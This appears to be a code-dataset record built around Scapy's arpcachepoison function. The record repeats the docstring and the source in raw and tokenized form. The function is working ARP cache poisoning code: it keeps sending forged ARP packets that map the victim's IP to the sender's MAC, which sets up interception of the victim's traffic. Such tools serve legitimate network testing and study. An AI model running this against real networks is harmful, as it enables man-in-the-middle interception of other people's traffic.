(target, victim, interval=60)
Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
Poison target s cache with ( your MAC victim s IP ) couple arpcachepoison ( target victim [ interval = 60 ] ) - > None
def arpcachepoison(target, victim, interval=60):
    """Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
"""
    tmac = getmacbyip(target)
    p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target)
    try:
        while 1:
            sendp(p, iface_hint=target)
            if conf.verb > 1:
                os.write(1,".")
            time.sleep(interval)
    except KeyboardInterrupt:
        pass
def arpcachepoison ( target , victim , interval = 60 ) : tmac = getmacbyip ( target ) p = Ether ( dst = tmac ) / ARP ( op = "who-has" , psrc = victim , pdst = target ) try : while 1 : sendp ( p , iface_hint = target ) if conf . verb > 1 : os . write ( 1 , "." ) time . sleep ( interval ) except KeyboardInterrupt : pass